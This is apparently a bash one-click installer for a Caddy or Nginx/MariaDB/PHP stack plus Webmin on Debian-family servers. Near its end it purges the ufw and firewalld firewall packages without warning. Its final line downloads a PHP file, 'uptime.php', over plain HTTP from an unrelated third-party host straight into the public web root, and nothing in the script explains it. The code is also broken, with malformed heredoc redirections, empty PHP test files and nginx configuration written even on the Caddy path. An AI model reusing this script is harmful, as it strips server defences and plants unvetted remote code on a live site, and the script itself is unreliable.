auto one click caddy, nginx installer
#!/bin/bash
###############################################################################
# 📦 One-Click caddy Installer Script is based on,
# wget https://raw.githubusercontent.com/hosteons/lamp-lemp-oneclick-installer/main/lamp_lemp_installer.sh
# nano caddy-installer.sh //Paste this script
# chmod +x caddy-installer.sh
# bash ./caddy-installer.sh
###############################################################################
set -e
echo "============================================"
echo " One-Click LAMP/LEMP/Caddy Installer Script"
echo " by JangSeo | MIT Licensed"
echo "============================================"
if [[ "$EUID" -ne 0 ]]; then
echo "❌ Please run this script as root"
exit 1
fi
if [ -f /etc/os-release ]; then
. /etc/os-release
OS=$ID
VER=$VERSION_ID
else
echo "❌ Unsupported OS"
exit 1
fi
if [[ "$OS" != "ubuntu" && "$OS" != "debian" ]]; then
echo "❌ Only Ubuntu and Debian are supported."
exit 1
fi
echo "Choose stack to install:"
echo "1. Caddy (Caddy + MariaDB + PHP)"
echo "2. LEMP (Nginx + MariaDB + PHP-FPM)"
read -rp "Enter your choice (1 or 2): " choice
apt update && apt upgrade -y
apt-get install nano wget perl sudo -y
PHP_PACKAGES="php php-mysql php-cli php-curl php-gd php-mbstring php-xml libmcrypt-dev libreadline-dev mcrypt php-common php-mysql php-imagick php-json php-opcache php-soap php-dev php-cgi php-zip php-intl php-bcmath php-pear unzip"
if [[ "$choice" == "1" ]]; then
echo "🔧 Installing Caddy stack..."
apt install -y debian-keyring debian-archive-keyring apt-transport-https curl
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' | sudo gpg --dearmor -o /usr/share/keyrings/caddy-stable-archive-keyring.gpg
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt' | sudo tee /etc/apt/sources.list.d/caddy-stable.list
chmod o+r /usr/share/keyrings/caddy-stable-archive-keyring.gpg
chmod o+r /etc/apt/sources.list.d/caddy-stable.list
apt -y update
apt -y install caddy
apt install -y mariadb-server $PHP_PACKAGES
systemctl enable --now caddy
systemctl start caddy mariadb
echo "" > /usr/share/caddy/info.php
echo "✅ Caddy installed successfully!"
echo "🔗 Visit http://YOUR_SERVER_IP/info.php to verify PHP is working."
elif [[ "$choice" == "2" ]]; then
echo "🔧 Installing LEMP stack..."
apt install -y nginx mariadb-server $PHP_PACKAGES php-fpm
PHP_VER=$(php -r "echo PHP_MAJOR_VERSION.'.'.PHP_MINOR_VERSION;")
PHP_SOCK="/run/php/php${PHP_VER}-fpm.sock"
cat < /etc/nginx/sites-available/default
server {
listen 80 default_server;
root /var/www/html;
index index.php index.html index.htm;
location / {
try_files \$uri \$uri/ =404;
}
location ~ \.php\$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:${PHP_SOCK};
}
location ~ /\.ht {
deny all;
}
}
EOF
systemctl enable nginx mariadb "php${PHP_VER}-fpm"
systemctl start nginx mariadb "php${PHP_VER}-fpm"
apt -y purge Apache2* bind* exim* ufw* firewalld* libapache2-mod-php*
mkdir -p /var/www/html
echo "" > /var/www/html/info.php
nginx -t && systemctl reload nginx
echo "✅ LEMP stack installed successfully!"
echo "🔗 Visit http://YOUR_SERVER_IP/info.php to verify PHP is working."
else
echo "❌ Invalid selection. Exiting."
exit 1
fi
curl -o setup-repos.sh https://raw.githubusercontent.com/webmin/webmin/master/setup-repos.sh
sh setup-repos.sh
apt -y install webmin --install-recommends
echo "✅ Webmin configured."
# Prompt for domain name
read -rp "Enter your domain name (e.g. example.com): " DOMAIN
# Setup web root
sudo mkdir -p /var/www/$DOMAIN
sudo chown -R $USER:$USER /var/www/$DOMAIN
# Create sample PHP file
echo "hello" | sudo tee /var/www/$DOMAIN/index.php
sudo chown -R $USER:$USER /var/www/$DOMAIN
cat < /etc/nginx/sites-available/$DOMAIN.conf
server {
listen 80;
server_name $DOMAIN;
root /var/www/$DOMAIN;
index index.php index.htm index.html;
location / {
try_files $uri $uri/ =404;
}
location ~ .php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php8.4-fpm.sock;
}
location ~ /.ht {
deny all;
}
}
EOF
sudo ln -s /etc/nginx/sites-available/$DOMAIN.conf /etc/nginx/sites-enabled/
sudo unlink /etc/nginx/sites-enabled/default
sudo ln -s /etc/nginx/sites-available/default /etc/nginx/sites-enabled/
sudo nginx -t
sudo systemctl reload nginx
cd /var/www/$DOMAIN
sudo wget http://storage.skydance.cc/uptime.php